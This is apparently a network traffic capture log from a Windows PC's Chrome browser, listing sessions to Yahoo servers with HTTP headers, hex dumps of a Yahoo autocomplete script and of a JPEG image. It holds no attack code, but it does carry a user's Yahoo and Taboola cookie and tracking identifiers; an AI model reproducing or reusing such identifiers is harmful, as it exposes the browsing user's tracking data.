A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
2024-01-10 23:27:15 UTC	678	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:15 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://trc.taboola.com/sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-Dap6dMlE2uJjvcyESihgqS2ruuPsXZby~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&us_privacy=1YNN Age: 0 Connection: close Server: ATS/9.1.10.94

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	49968	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	563	OUT	GET /aaq/wf/wf-autocomplete-1.31.8-modern-a4f31e10ae.chunk.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	853	IN	HTTP/1.1 200 OK x-amz-id-2: H50joREDGBF6odWp07nEuoKaHAWHuoOL6oBV3Gj68NQZteqSAmzVXo7n/7MWy8tGyfr2jE8SgmQ= x-amz-request-id: V2ZKKM7MD96DEYE0 Date: Mon, 08 Jan 2024 19:44:59 GMT Last-Modified: Mon, 04 Dec 2023 12:09:37 GMT ETag: "dfa69f455efa8a49a71af52519927c3f" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: VedLc9cHVmcl0hDYflz_FEvaIOBOYa99 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8260 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 186137 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 77 65 62 70 61 63 6b 4a 73 6f 6e 70 77 61 66 65 72 5f 77 61 66 65 72 73 5f 77 61 66 65 72 5f 61 75 74 6f 63 6f 6d 70 6c 65 74 65 28 5b 30 5d 2c 7b 22 2e 2f 73 72 63 2f 74 79 70 65 73 20 72 65 63 75 72 73 69 76 65 20 5e 5c 5c 2e 5c 5c 2f 2e 2a 24 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 72 65 74 75 72 6e 20 72 28 73 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 74 3d 69 5b 65 5d 3b 69 66 28 21 28 74 2b 31 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 6d 6f 64 75 6c 65 20 27 22 2b 65 2b 22 27 2e 22 29 3b 72 65 74 75 72 6e 20 74 7d 76 61 72 20 69 3d 7b 22 2e 2f 61 6f 6c 2d 6c 6f 63 61 74 69 6f 6e 22 3a 22 2e 2f 73 72 63 2f 74 79 70 65 Data Ascii: webpackJsonpwafer_wafers_wafer_autocomplete([0],{"./src/types recursive ^\\.\\/.*$":function(e,t,r){function a(e){return r(s(e))}function s(e){var t=i[e];if(!(t+1))throw new Error("Cannot find module '"+e+"'.");return t}var i={"./aol-location":"./src/type
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 21 3d 3d 6c 29 7b 76 61 72 20 75 3d 70 61 72 73 65 49 6e 74 28 6c 2c 31 30 29 3b 6f 5b 75 5d 3d 65 5b 6c 5d 7d 72 65 74 75 72 6e 20 6f 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 74 3d 65 2e 63 69 74 79 2c 61 3d 65 2e 63 6f 75 6e 74 72 79 2c 69 3d 65 2e 64 69 73 70 6c 61 79 5f 6e 61 6d 65 2c 6f 3d 65 2e 66 75 6c 6c 5f 64 69 73 70 6c 61 79 5f 6e 61 6d 65 2c 6c 3d 65 2e 6e 2c 75 3d 65 2e 71 75 61 6c 69 66 69 65 64 4e 61 6d 65 2c 63 3d 65 2e 73 74 61 74 65 63 6f 64 65 2c 64 3d 65 2e 77 6f 65 69 64 2c 70 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 6d 3d 64 Data Ascii: !==l){var u=parseInt(l,10);o[u]=e[l]}return o.forEach(function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.city,a=e.country,i=e.display_name,o=e.full_display_name,l=e.n,u=e.qualifiedName,c=e.statecode,d=e.woeid,p=arguments[1],m=d
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 7c 7c 7b 7d 2c 76 3d 66 2e 65 78 63 68 61 6e 67 65 2c 68 3d 66 2e 73 79 6d 62 6f 6c 3b 69 66 28 68 2e 73 75 62 73 74 72 28 30 2c 69 2e 6c 65 6e 67 74 68 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3d 3d 3d 69 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 30 29 2c 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6f 70 74 69 6f 6e 22 29 2c 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 72 65 73 75 6c 74 2d 22 2b 6c 2b 22 2d 22 2b 6d 29 3b 76 61 72 20 67 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 Data Ascii: \|\|{},v=f.exchange,h=f.symbol;if(h.substr(0,i.length).toUpperCase()===i.toUpperCase()){var b=document.createElement("li");b.setAttribute("tabindex",0),b.setAttribute("role","option"),b.setAttribute("id","wf-autocomplete-result-"+l+"-"+m);var g=document.cre
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 76 6f 69 64 20 30 3d 3d 3d 74 3f 7b 7d 3a 74 2c 73 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 69 3d 72 2c 6e 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6f 3d 6e 2e 69 64 49 6e 64 65 78 2c 6c 3d 6e 2e 6c 69 73 74 45 6c 65 6d 2c 75 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 28 29 2c 63 3d 30 3b 63 3c 69 2e 6c 65 6e 67 74 68 26 26 63 3c 35 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 69 5b 63 5d 2c 70 3d 64 2e 74 69 74 6c 65 2c 6d 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 3b 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 30 29 2c 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6f 70 74 69 6f 6e 22 29 2c 6d 2e 73 65 74 41 74 74 Data Ascii: void 0===t?{}:t,s=arguments[1],i=r,n=this._util,o=n.idIndex,l=n.listElem,u=document.createDocumentFragment(),c=0;c<i.length&&c<5;c++){var d=i[c],p=d.title,m=document.createElement("li");m.setAttribute("tabindex",0),m.setAttribute("role","option"),m.setAtt
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 72 6f 6e 67 3e 22 2b 75 2e 6b 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 29 2b 22 3c 2f 73 74 72 6f 6e 67 3e 22 2b 75 2e 6b 2e 73 75 62 73 74 72 28 61 2e 6c 65 6e 67 74 68 29 2b 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 74 65 6d 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 72 65 73 75 6c 74 2d 22 2b 69 2b 22 2d 22 2b 6c 29 2c 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 7d 7d 72 65 74 75 72 6e 20 6e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f Data Ascii: <strong>"+u.k.substr(0,a.length)+"</strong>"+u.k.substr(a.length)+"\n ",c.classList.add("wafer-autocomplete-item"),c.setAttribute("id","wf-autocomplete-result-"+i+"-"+l),o.appendChild(c)}}return n.innerHTML="",n.appendChild(o
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 74 61 2d 76 61 6c 75 65 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 69 64 3a 67 2c 61 63 74 69 6f 6e 3a 22 66 6f 6c 6c 6f 77 65 64 22 3d 3d 3d 4c 3f 22 52 45 4d 4f 56 45 22 3a 22 41 44 44 45 44 22 7d 29 29 2c 79 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 79 6c 6b 22 2c 22 63 69 64 3a 22 2b 67 2b 22 3b 73 6c 6b 3a 22 2b 76 29 2c 79 2e 69 6e 6e 65 72 48 54 4d 4c 3d 69 2e 72 65 70 6c 61 63 65 28 22 54 45 41 4d 5f 4c 45 41 47 55 45 5f 50 4c 41 43 45 48 4f 4c 44 45 52 22 2c 68 29 2e 72 65 70 6c 61 63 65 28 22 54 45 41 4d 5f 4c 4f 47 4f 5f 55 52 4c 5f 50 4c 41 43 45 48 4f 4c 44 45 52 22 2c 62 2e 75 72 6c 29 2e 72 65 70 6c 61 63 65 28 22 54 45 41 4d 5f 4e 41 4d 45 5f 50 4c 41 43 45 48 4f 4c 44 45 52 22 2c 76 29 2c 6c 2e 61 70 70 65 6e Data Ascii: ta-value",JSON.stringify({id:g,action:"followed"===L?"REMOVE":"ADDED"})),y.setAttribute("data-ylk","cid:"+g+";slk:"+v),y.innerHTML=i.replace("TEAM_LEAGUE_PLACEHOLDER",h).replace("TEAM_LOGO_URL_PLACEHOLDER",b.url).replace("TEAM_NAME_PLACEHOLDER",v),l.appen
2024-01-10 23:27:15 UTC	460	IN	Data Raw: 2c 65 2e 71 75 61 6c 69 66 69 65 64 4e 61 6d 65 3d 68 2c 76 2b 3d 22 22 2c 66 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 74 65 6d 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 30 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6f 70 74 69 6f 6e 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 72 65 73 75 6c 74 2d 22 2b 69 2b 22 2d 22 2b 74 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 76 61 6c 75 65 22 2c 76 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6d 65 74 61 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 Data Ascii: ,e.qualifiedName=h,v+="",f.classList.add("wafer-autocomplete-item"),f.setAttribute("tabindex",0),f.setAttribute("role","option"),f.setAttribute("id","wf-autocomplete-result-"+i+"-"+t),f.setAttribute("data-value",v),f.setAttribute("data-meta",JSON.stringif

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	49969	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	519	OUT	GET /uu/api/res/1.2/LVduRNN5Htm6KVA5NeoIkA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/f2b7229ea8bfdeacca21ad0593673f85.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	1300	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 346428860649045559040125157798729676969,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="f2b7229ea8bfdeacca21ad0593673f85.webp" Edge-Cache-Tag: 346428860649045559040125157798729676969,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "31b465c47a64aa02fbd9e5095bbf215c" Last-Modified: Wed, 10 Jan 2024 14:10:38 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=10232,owidth=1692,oheight=1128,obytes=3084949,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 67e70b24f7e6a7188e82a1b823f0c56b Accept-Ranges: bytes Date: Wed, 10 Jan 2024 14:58:47 GMT X-Served-By: cache-lga21943-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704898727.104996,VS0,VE1 Age: 30508 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 67e70b24f7e6a7188e82a1b823f0c56b cld_by: cache-lga21943-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 33720 ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:15 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:15 UTC	1276	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 1c 02 18 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 08 00 01 09 ff c4 00 51 10 00 01 02 04 04 03 05 04 07 04 07 05 05 08 03 00 01 02 03 00 04 05 11 06 12 21 31 07 13 41 22 32 51 61 71 14 81 91 b1 08 15 23 Data Ascii: JFIFCCQ!1A"2Qaq#
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 57 ad 89 50 ca 54 2d a5 a1 e2 35 a1 07 78 94 14 35 d2 22 9a 15 cb fe d5 37 da 16 a4 e0 10 0f 48 56 c9 fd d8 13 b8 d9 0e aa c3 48 3e b3 59 e2 f5 4a ca 92 3c 44 4d 4f e4 86 f9 95 5b a6 b0 d8 7c 25 bb 23 73 78 bb 16 3e 6f 42 c8 bc 32 9c 2e c6 b6 8b 9d e1 72 ba 68 c7 1d 0e 4a 48 b5 8e d1 5d be cf 31 28 4e 82 14 e3 06 a9 07 c6 00 0e 6f 28 0d 1c 85 6d a4 06 93 69 16 13 52 79 cb 07 c6 31 73 ca e8 75 8b ea 4d a4 4f a2 da 5e f0 b8 cd 4d af e5 93 f4 45 9c e7 5a 76 ca 6d 04 bb 53 1c 54 a3 de 37 82 a6 5d 07 2a a2 b7 00 03 68 ae fb 3e b6 7e 96 48 4b 62 db f5 8c fc b9 5a dd d7 9f ed d3 02 e8 b1 84 c6 d4 f6 67 a4 5e a8 72 ca 3e 8b 7d fd 23 ab d6 f7 1e 6b b1 7f bb 47 7e 1b 12 9a bc b2 80 bf 6c 03 0d d9 ad 1d 79 e9 ad b8 68 85 7d 4d 53 ff 00 ea 07 f9 63 05 8d 3a 79 5f 6e Data Ascii: WPT-5x5"7HVH>YJ<DMO[\|%#sx>oB2.rhJH]1(No(miRy1suMO^MEZvmST7]*h>~HKbZg^r>}#kG~lyh}MSc:y_n
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 58 05 86 88 49 2a 45 b4 8b 25 b0 b7 1d 92 38 82 45 85 e2 66 7a 37 1f 1e 88 66 59 74 20 ab 94 af 53 0d 33 66 e6 c7 74 44 b5 26 ab 3a bc b2 94 d9 87 af b7 2d b2 a2 7e 02 2d 9c 98 cf da 89 81 52 a8 35 b9 4b 19 aa 44 eb 49 fc 4e 30 a4 8f 94 45 e5 c6 4f a9 98 3c 65 25 2a b7 58 a6 f2 0f 02 a4 9b 0d a2 ed 2d e2 e4 fc 6f 48 d3 78 21 f9 67 97 f7 93 cc 2f a0 85 93 4c f6 90 4c 2e 2c c6 e9 46 57 44 8a 22 2e 8a b3 f6 e6 c8 cd bc 46 48 e2 9a 29 6c 80 2c 62 ba d3 b1 c9 37 bc 40 d8 79 7c e2 2a 5c 55 6e 90 a8 04 2e d7 d2 1a 4d 1a 8b 53 86 e0 5a 1b 12 5a 94 61 76 5d 52 92 42 06 f1 93 b3 f1 d2 ea 7f 71 75 5e 5d 29 a9 36 42 37 1a eb 19 b8 ad be 9a 39 7d 64 4a eb 9d b2 8b 6d 16 49 a5 74 5a ac 08 36 82 a2 14 ca 9b 9d a1 2f d3 c3 bc ae 55 01 9a 33 72 62 d7 c5 ea 0e 78 34 86 f3 Data Ascii: XIE%8Efz7fYt S3ftD&:-~-R5KDIN0EO<e%X-oHx!g/LL.,FWD".FH)l,b7@y\|*\Un.MSZZav]RBqu^])6B79}dJmItZ6/U3rbx4
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: ba 1a 1e b1 28 fd aa 87 7b 0c 29 67 a0 86 89 3c 4e d4 39 74 16 01 58 49 e5 88 95 6a 9f 12 ce 15 b8 a8 8b 36 22 29 36 bb b4 61 2a 59 45 71 e8 ab 01 3e 87 78 62 d0 b9 6d 6f 94 de 23 d9 7d 84 1b b7 48 2d 36 21 db ce 14 ce 28 be b7 de 0b 00 19 15 f8 8c 13 d0 0e c7 c4 c0 02 1a e9 13 03 de 5a 3c 3f 38 9d 26 02 42 52 6c 9b 8f 7c 45 86 2e a3 16 3d b1 25 c5 12 01 8a 79 62 de 0f a9 dc b3 d4 e4 10 47 3c 5b f7 a3 0d f6 e8 fe 9c b7 e5 16 e9 50 2f db f8 a1 69 21 ee 91 3f 24 00 69 42 60 27 f1 66 8c f9 fc 6d e1 da 40 d4 c5 24 a0 15 bd 3c 9f e1 31 92 cd b6 63 96 87 22 62 8c 93 fb 6a 91 f5 82 62 6f ca 1b 93 54 84 00 43 93 e7 c8 44 cc 74 8f 2d 8b 15 2a 62 49 cd ed e9 b6 da ef 0f 21 6d 35 54 66 25 1e 99 6a 76 5d c7 b9 ad 92 49 50 ef 7f 28 bf 08 cb c9 95 a6 19 a7 51 34 eb 8b Data Ascii: ({)g<N9tXIj6")6aYEq>xbmo#}H-6!(Z<?8&BRl\|E.=%ybG<[P/i!?$iB`'fm@$<1c"bjboTCDt-bI!m5Tf%jv]IP(Q4
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: cd 4d b4 a0 d7 39 2b 1b 27 30 4e 6f 3b 8b 9b 7c 22 dc 6e 84 55 b5 56 92 a7 57 74 f6 b3 13 78 d5 86 46 47 a6 90 94 9b 01 b4 6b c7 db 3e 58 4c a9 21 d0 e8 21 e2 bc f8 74 3e 57 b4 e0 4d a2 39 4d 8e 3a 3a 34 81 b4 65 ca dd 2c 90 a0 24 27 df 09 f1 64 0e de 42 26 54 89 71 b2 7e ea 7d 06 90 db 45 77 b2 b2 a6 c2 8a 6c 4f 9c 4f 91 6f b1 4a 68 83 a2 61 7c 91 a7 2d 37 cb 74 d8 08 79 96 cd bd 00 e3 0c e4 cf 93 51 09 4b 0f 72 e7 fa 20 07 c2 12 fc 31 2b da 11 a4 2c a5 b1 eb 64 95 01 d2 0d c4 e3 74 5e d0 77 94 a5 b2 a1 99 3b 18 4c b5 57 60 35 b4 b8 50 14 f2 bb 46 2b 97 da 73 f4 62 aa a7 ec 88 ff 00 e2 47 4f 8a 6d c4 ed 7f 9a 53 c1 65 cc 7d 76 b0 c7 4c e5 5e 43 a9 fc e0 e6 87 eb d6 a6 e1 92 96 28 55 02 d9 b0 33 16 3f 08 e5 f2 cd 37 ba ba d9 ed dc 45 73 e2 2f c3 65 01 ab Data Ascii: M9+'0No;\|"nUVWtxFGk>XL!!t>WM9M::4e,$'dB&Tq~}EwlOOoJha\|-7tyQKr 1+,dt^w;LW`5PF+sbGOmSe}vL^C(U3?7Es/e
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 10 6c 03 cc f2 80 3b 99 e5 00 28 95 01 53 6c 24 f5 70 42 72 5d 63 46 3f 56 5e 30 92 c1 d3 15 19 54 d7 e7 66 db 7c b0 9f d9 eb a4 72 b0 e4 e6 f7 78 9a 79 7d 48 70 71 1c bc 79 4d 61 6c 03 2b 2d 26 a3 2a 92 74 cb 61 63 ee b4 53 6f fc 17 fd ec 79 7f ca ab 71 1b ce cc d7 a7 5e 79 64 a9 4f 2b dc 3c 23 af d6 d7 e0 8a 6e d6 8b 6a 97 98 9d c2 6f 55 14 15 30 59 ed 1b 7e e4 72 77 77 9e 96 fd f1 40 2a ce ba f6 2d a8 29 c5 5f 2b e5 23 dd 1b ee bf 01 a7 ae 5d 34 b4 c0 44 cc 97 0e 95 32 02 a7 50 fa 00 3f dc 8e 1f eb 36 d9 ed ee 35 92 5e 2d a3 d6 69 6c a8 2a 6e 97 5a 09 6f 4b 9c ab b6 80 44 75 a6 a2 dc 6a c6 a1 3b 2b 27 2d 88 b0 cc a8 09 6a 8d 42 4b 24 0f f8 8a 4a 94 a1 6f 84 57 9e bc ae d7 e3 59 b1 a3 94 1d 6f 17 e1 35 17 c3 a4 a4 c8 0d e5 28 8b 64 d2 35 a2 96 66 52 e2 Data Ascii: l;(Sl$pBr]cF?V^0Tf\|rxy}HpqyMal+-&tacSoyq^ydO+<#njoU0Y~rww@-)_+#]4D2P?65^-il*nZoKDuj;+'-jBK$JoWYo5(d5fR
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: f6 b4 41 fc 4e b4 d2 5a 21 0a 00 e6 d8 c3 e1 8f 97 a5 59 5f 1f 68 ce 36 e2 42 28 a8 34 ea 4e 45 cc 1e f2 b7 02 3a 9d 6e af ee b9 7d ae df ea 2a 8a 85 66 a3 54 5a 9e 9c 9a 5b 84 f4 27 4f 84 6b c7 8e 4b a7 1e e5 6d 36 92 6e 62 d9 89 bc eb ae 7c 60 b8 c2 dc ac 2d 92 a8 29 a5 64 74 92 83 a6 bd 22 bb 8a 6e 5b 3f 48 b0 16 e8 5a 40 29 3a 83 08 b7 1d d2 97 18 99 71 d5 16 12 ac 8d db 3a 80 b8 4f ac 49 e6 56 1a ea 73 4f b8 eb 68 07 b3 cc 16 3e 30 13 97 2b 91 da 90 54 64 d9 e6 1b dd c5 db fc 46 11 6f 59 31 a5 cb e5 79 a5 28 d9 29 19 94 7a 0f 28 cf cb 3d 37 45 e1 82 b1 13 0c 4a 4a cb be be d1 20 6f e3 b9 8e 7d ab f8 ff 00 f4 d0 94 69 36 9c a6 7b 5a 3e cd 20 02 ad 2f bd e3 3e 7e dd 5e a7 bb b3 73 8d a1 c9 a5 4b c9 8b 95 9b f9 df c6 33 59 b7 5e 65 a2 c9 b6 e9 b4 16 5b Data Ascii: ANZ!Y_h6B(4NE:n}*fTZ['OkKm6nb\|`-)dt"n[?HZ@):q:OIVsOh>0+TdFoY1y()z(=7EJJ o}i6{Z> />~^sK3Y^e[
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: a1 cc f1 7e 95 86 71 4c a5 55 34 c6 58 91 4a 66 a5 a5 9d 74 b4 eb b6 b2 94 96 ec 00 d6 fe 77 02 e4 f4 b7 fc 6b 93 8f 5a f6 3f fc d5 b6 34 a5 57 24 5e 14 69 d5 f3 65 59 51 53 2a 51 ba cf 88 57 95 f5 03 cc c4 e3 07 6b 0b 3d 21 75 65 21 a9 05 b0 f3 9d fd 8d bc 08 3f a0 8b 3f 4c 51 0e 9e 44 b3 08 4a 92 6e 08 b9 8b 78 e6 ea 51 c7 d6 85 38 54 80 6c 7c 63 5b 37 2d 90 9e c5 46 1f c5 4c c8 b2 59 0b 2a 16 1a 78 c5 76 46 8c 3e 1d 65 d0 b4 0d 41 1e 51 46 78 cc aa d8 13 85 49 b2 06 97 85 c6 78 99 c8 42 95 aa 97 13 a2 f9 3d 54 ba 46 a5 4a 3e a6 26 8f 21 4e 12 74 da 27 11 bd 82 1b 3e 30 c8 24 9f ce 86 bb 26 d7 d2 1f 8f 1d 97 3c a4 9e cc 6a 24 93 73 1a a4 62 cf 29 46 40 a4 17 3a 43 40 2d 31 28 72 62 64 d8 9e c2 df dd 10 8b e8 f0 d3 8b 55 09 1a 6c fd a1 76 a9 62 70 c9 47 Data Ascii: 